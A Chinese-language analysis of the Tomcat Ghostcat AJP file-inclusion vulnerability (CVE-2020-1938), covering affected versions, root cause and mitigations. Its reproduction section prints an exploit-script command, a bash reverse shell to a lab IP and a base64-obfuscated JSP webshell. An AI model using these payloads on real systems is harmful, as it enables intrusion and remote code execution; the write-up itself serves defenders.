Apache Tomcat AJP 文件读取漏洞(CVE-2020-1938)深度解析
漏洞背景
Java 在 Web 开发领域占据主导地位,而 Apache Tomcat 作为历史悠久的 Java 应用服务器,在全球拥有庞大的用户基础。Ghostcat(幽灵猫)漏洞由长亭科技安全团队发现,其根源在于 Tomcat 的 AJP 协议实现存在安全缺陷。攻击者可借助 AJP Connector 读取或包含 Tomcat 中任意 Web 应用目录下的文件,包括配置文件与源码。若目标应用具备文件上传功能,结合此漏洞还可实现远程代码执行,威胁等级极高。
影响范围
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31
漏洞成因
在 Tomcat 的默认配置文件 conf/server.xml 中,包含两个 Connector:一个监听 8080 端口处理 HTTP 请求,另一个监听 8009 端口处理 AJP 协议请求。两者默认均绑定到外网 IP,暴露了攻击面。
处理 AJP 请求时,Tomcat 调用 org.apache.coyote.ajp.AjpProcessor 类的 prepareRequest 方法。该方法将 AJP 消息中的内容提取并设置为 request 对象的属性(Attribute)。攻击者通过控制以下三个属性,可影响文件读取路径:
javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path
利用这一机制,攻击者可读取 Web 应用目录下的任意文件。
漏洞复现
利用工具
参考项目:CNVD-2020-10487-Tomcat-Ajp-lfi
文件读取示例
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.112 -p 8009 -f /WEB-INF/web.xml
反弹 Shell 示例
首先,通过 Runtime Exec Payloads 生成 Bash 反弹命令的编码版本:bash -i >& /dev/tcp/192.168.25.1/63000 0>&1
利用文件上传与包含功能,将以下 JSP Webshell 部署到目标:
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjEvNjMwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("");
%>
修复与缓解措施
临时禁用 AJP 协议
在 conf/server.xml 中注释或删除以下行:
<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->
启用认证凭证
根据 Tomcat 版本不同,配置方式略有差异:
- Tomcat 7 和 9:设置
secret属性,如secret="YOUR_SECURE_VALUE"。 - Tomcat 8:设置
requiredSecret属性,如requiredSecret="YOUR_SECURE_VALUE"。
官方升级
下载包含补丁的最新版本:
其他防护选项
- 将 AJP Connector 的监听地址限制为
localhost。 - 使用防火墙或 iptables 限制 8009 端口的外部访问。